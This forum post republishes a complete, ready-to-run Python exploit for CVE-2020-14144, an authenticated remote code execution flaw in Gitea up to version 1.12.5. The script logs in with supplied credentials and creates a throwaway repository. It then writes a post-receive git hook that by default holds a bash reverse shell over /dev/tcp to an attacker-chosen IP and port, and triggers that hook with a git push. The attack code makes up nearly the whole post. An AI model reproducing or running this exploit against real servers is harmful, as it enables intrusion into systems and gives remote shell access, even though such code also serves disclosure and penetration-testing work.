Jump to content
Kev

Gitea 1.12.5 Remote Code Execution

Recommended Posts

Gitea version 1.12.5 suffers from a remote code execution vulnerability.

 

# Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated)
# Date: 17 Feb 2020
# Exploit Author: Podalirius
# PoC demonstration article: https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/
# Vendor Homepage: https://gitea.io/
# Software Link: https://dl.gitea.io/
# Version: >= 1.1.0 to <= 1.12.5
# Tested on: Ubuntu 16.04 with GiTea 1.6.1

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import os
import pexpect
import random
import re
import sys
import time

import requests
requests.packages.urllib3.disable_warnings()
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
    requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
    pass

class GiTea(object):
    def __init__(self, host, verbose=False):
        super(GiTea, self).__init__()
        self.verbose  = verbose
        self.host     = host
        self.username = None
        self.password = None
        self.uid      = None
        self.session  = None

    def _get_csrf(self, url):
        pattern = 'name="_csrf" content="([a-zA-Z0-9\-\_=]+)"'
        csrf = []
        while len(csrf) == 0:
            r = self.session.get(url)
            csrf = re.findall(pattern, r.text)
            time.sleep(1)
        csrf = csrf[0]
        return csrf

    def _get_uid(self, url):
        pattern = 'name="_uid" content="([0-9]+)"'
        uid = re.findall(pattern, self.session.get(url).text)
        while len(uid) == 0:
            time.sleep(1)
            uid = re.findall(pattern, self.session.get(url).text)
        uid = uid[0]
        return int(uid)

    def login(self, username, password):
        if self.verbose == True:
            print("   [>] login('%s', ...)" % username)
        self.session  = requests.Session()
        r = self.session.get('%s/user/login' % self.host)
        self.username = username
        self.password = password

        # Logging in
        csrf = self._get_csrf(self.host)
        r = self.session.post(
            '%s/user/login?redirect_to=%%2f%s' % (self.host, self.username),
            data = {'_csrf':csrf, 'user_name':username, 'password':password},
            allow_redirects=True
        )
        if b'Username or password is incorrect.' in r.content:
            return False
        else:
            # Getting User id
            self.uid = self._get_uid(self.host)
            return True

    def repo_create(self, repository_name):
        if self.verbose == True:
            print("   [>] Creating repository : %s" % repository_name)
        csrf = self._get_csrf(self.host)
        # Create repo
        r = self.session.post(
            '%s/repo/create' % self.host,
            data = {
                '_csrf' : csrf,
                'uid' : self.uid,
                'repo_name' : repository_name,
                'description' : "Lorem Ipsum",
                'gitignores' : '',
                'license' : '',
                'readme' : 'Default',
                'auto_init' : 'off'
            }
        )
        return None

    def repo_delete(self, repository_name):
        if self.verbose == True:
            print("   [>] Deleting repository : %s" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings' % (self.host, self.username, repository_name))
        # Delete repository
        r = self.session.post(
            '%s/%s/%s/settings' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'action' : "delete",
                'repo_name' : repository_name
            }
        )
        return

    def repo_set_githook_pre_receive(self, repository_name, content):
        if self.verbose == True:
            print("   [>] repo_set_githook_pre_receive('%s')" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name))
        # Set pre receive git hook
        r = self.session.post(
            '%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'content' : content
            }
        )
        return

    def repo_set_githook_update(self, repository_name, content):
        if self.verbose == True:
            print("   [>] repo_set_githook_update('%s')" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name))
        # Set update git hook
        r = self.session.post(
            '%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'content' : content
            }
        )
        return

    def repo_set_githook_post_receive(self, repository_name, content):
        if self.verbose == True:
            print("   [>] repo_set_githook_post_receive('%s')" % repository_name)
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name))
        # Set post receive git hook
        r = self.session.post(
            '%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name),
            data = {
                '_csrf' : csrf,
                'content' : content
            }
        )
        return

    def logout(self):
        if self.verbose == True:
            print("   [>] logout()")
        # Logging out
        r = self.session.get('%s/user/logout' % self.host)
        return None


def trigger_exploit(host, username, password, repository_name, verbose=False):
    # Create a temporary directory
    tmpdir = os.popen('mktemp -d').read().strip()
    os.chdir(tmpdir)
    # We create some files in the repository
    os.system('touch README.md')
    rndstring = ''.join([hex(random.randint(0,15))[2:] for k in range(32)])
    os.system('echo "%s" >> README.md' % rndstring)
    os.system('git init')
    os.system('git add README.md')
    os.system('git commit -m "Initial commit"')
    # Connect to remote source repository
    os.system('git remote add origin %s/%s/%s.git' % (host, username, repository_name))
    # Push the files (it will trigger post-receive git hook)
    conn = pexpect.spawn("/bin/bash -c 'cd %s && git push -u origin master'" % tmpdir)
    conn.expect("Username for .*: ")
    conn.sendline(username)
    conn.expect("Password for .*: ")
    conn.sendline(password)
    conn.expect("Total.*")
    print(conn.before.decode('utf-8').strip())
    return None

def header():
    print("""    _____ _ _______
   / ____(_)__   __|             CVE-2020-14144
  | |  __ _   | | ___  __ _
  | | |_ | |  | |/ _ \/ _` |     Authenticated Remote Code Execution
  | |__| | |  | |  __/ (_| |
   \_____|_|  |_|\___|\__,_|     GiTea versions >= 1.1.0 to <= 1.12.5
     """)

if __name__ == '__main__':
    header()
    parser = argparse.ArgumentParser(description='Process some integers.')
    parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Increase verbosity.')

    parser.add_argument('-t','--target',  required=True,  type=str, help='Target host (http://..., https://... or domain name)')
    parser.add_argument('-u','--username', required=True, type=str, default=None, help='GiTea username')
    parser.add_argument('-p','--password', required=True, type=str, default=None, help='GiTea password')

    parser.add_argument('-I','--rev-ip',   required=False, type=str, default=None, help='Reverse shell listener IP')
    parser.add_argument('-P','--rev-port', required=False, type=int, default=None, help='Reverse shell listener port')

    parser.add_argument('-f','--payload-file', required=False, default=None, help='Path to shell script payload to use.')

    args = parser.parse_args()

    if (args.rev_ip == None or args.rev_port == None):
        if args.payload_file == None:
            print('[!] Either (-I REV_IP and -P REV_PORT) or (-f PAYLOAD_FILE) options are needed')
            sys.exit(-1)

    # Read specific payload file
    if args.payload_file != None:
        f = open(args.payload_file, 'r')
        hook_payload = ''.join(f.readlines())
        f.close()
    else:
        hook_payload = """#!/bin/bash\nbash -i >& /dev/tcp/%s/%d 0>&1 &\n""" % (args.rev_ip, args.rev_port)

    if args.target.startswith('http://'):
        pass
    elif args.target.startswith('https://'):
        pass
    else:
        args.target = 'https://' + args.target

    print('[+] Starting exploit ...')
    g = GiTea(args.target, verbose=args.verbose)
    if g.login(args.username, args.password):
        reponame = 'vuln'
        g.repo_delete(reponame)
        g.repo_create(reponame)
        g.repo_set_githook_post_receive(reponame, hook_payload)
        g.logout()
        trigger_exploit(g.host, g.username, g.password, reponame, verbose=args.verbose)
        g.repo_delete(reponame)
    else:
        print('\x1b[1;91m[!]\x1b[0m Could not login with these credentials.')
    print('[+] Exploit completed !')

 

Source

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...